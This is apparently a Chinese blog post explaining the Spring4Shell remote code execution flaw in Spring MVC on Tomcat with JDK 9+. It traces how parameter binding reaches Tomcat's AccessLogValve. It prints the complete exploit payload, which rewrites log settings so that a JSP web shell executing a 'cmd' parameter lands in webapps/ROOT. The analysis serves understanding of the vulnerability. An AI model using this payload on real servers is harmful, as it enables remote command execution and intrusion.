Spring4Shell的漏洞原理分析 - 俞正东

Spring框架最新的PoC

这两天出来的一个RCE漏洞，但是有以下的条件限制才行：

• 必须是jdk9及以上
• 必须是部署在tomcat的应用
• 是springmvc的或者webflux的应用

具体的可以查看spring官方：

https://spring.io/blog/2022/03/31/spring-framework-rce-early-announcement

我看到这个漏洞的时候，就去查了以下怎么利用的，github一搜很多py脚本。

但是我没找到漏洞利用的原理，所以我就自己做了个demo，然后debugger了一下，原来是这样~

漏洞利用的原理

我们都知道，我们在springmvc的时候经常会这么写代码来接收前端传来的参数

@RequestMapping(value = "/register", method = RequestMethod.GET)
public String register(@RequestParam Map<String, String> requestparams, Model model) throws Exception {
    String email = requestparams.get("email");
    String username = requestparams.get("username");
    model.addAttribute("data", "email:" + email + " username:" + username);
    return "index";
}

如果我们这么访问：

http://localhost:8080/vulnerable_war/register?email=11&username=b

那么返回的结果就是这样：

image

那么如果我们把接收的类型从Map转成一个POJO的话，就像这样：

@RequestMapping(value = "/register2", method = RequestMethod.GET)
public String register2(HelloWorld obj, Model model) throws Exception {
    model.addAttribute("data", obj.toString());
    return "index";
}
    

访问一下：

image

这说明了，springmvc框架帮我们做了一个很重要的事情：

通过我们请求的数据，转成了POJO对象。

恰巧就是这个非常好用的封装导致了这个POC

解析POC第一步：到底构造了一个什么数据会引发呢？

跑的环境是：

• jdk11
• tomcat8.5.58
• spring-webmvc5.3.15

class.module.classLoader.resources.context.parent.pipeline.first.pattern=
%{c2}i if("j".equals(request.getParameter("pwd"))){ java.io.InputStream in = %{c1}i.getRuntime().exec(request.getParameter("cmd")).getInputStream(); int a = -1; byte[] b = new byte[2048]; while((a=in.read(b))!=-1){ out.println(new String(b)); } } %{suffix}i

class.module.classLoader.resources.context.parent.pipeline.first.suffix=.jsp
class.module.classLoader.resources.context.parent.pipeline.first.directory=webapps/ROOT
class.module.classLoader.resources.context.parent.pipeline.first.prefix=tomcatwar
class.module.classLoader.resources.context.parent.pipeline.first.fileDateFormat=

将上面的数据用下面post的方式调用下面的接口

image

 @RequestMapping(value = "/rapid7")
public void vulnerable(HelloWorld model) {

}

注意header里面的值是需要的，目的是为了迎合tomcat日志的pattern（下面会讲到）

• %i 这个语法是从请求的header里面拿xxx

就会在tomcat的Root目录下生成一个jsp文件

image

内容如下：

image

计息POC第二步：jsp文件是怎么生成的？

方法接收的class：HelloWorld，我这么传，spring框架是怎么来处理的呢？

image

根据HelloWorld的实例

结合传过来属性路径： class.module.classLoader.resources.context.parent.pipeline.first.pattern

然后一步步的运用反射来去拿属性对应的值，这个例子的话就是

• 调用HelloWorld的getClass() 拿到Class对象
• 通过class对象调用getModule()
• 通过Module调用getClassLoader()
• 通过ClassLoader拿resources
• context是Tomcat的StandardContext
• parent拿到的是StandardEngine
• pipeline拿到的是StandardPipeline
• first拿到的是AccessLogValve

可以在下图所示设置断点：就可以看到上面说的每一步了

主角上场：

AccessLogValve是tomcat记录日志的，

• pattern是日志格式
• suffix是日志文件的后缀
• prefix是日志文件的前缀
• fileDateFormat是日期文件的时间格式

根据以上分析，我们知道，传过去的data由对象的class作为引子，然后springmvc会一步步反射拿属性的方式最终是给AccessLogValve对象的几个属性的赋值操作

经过对tomcat的处理请求的日志管道(AccessLogValve)的改写，导致当前请求会被触发记录日志，日志会按照我们想要的方式生成了一个jsp文件。

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为啥是jdk9及以上版本呢，因为module的概念是从jdk9开始的~

为啥是得部署到tomcat里的应用呢，因为只有这样才会利用它的日志功能~

spring是咋修复的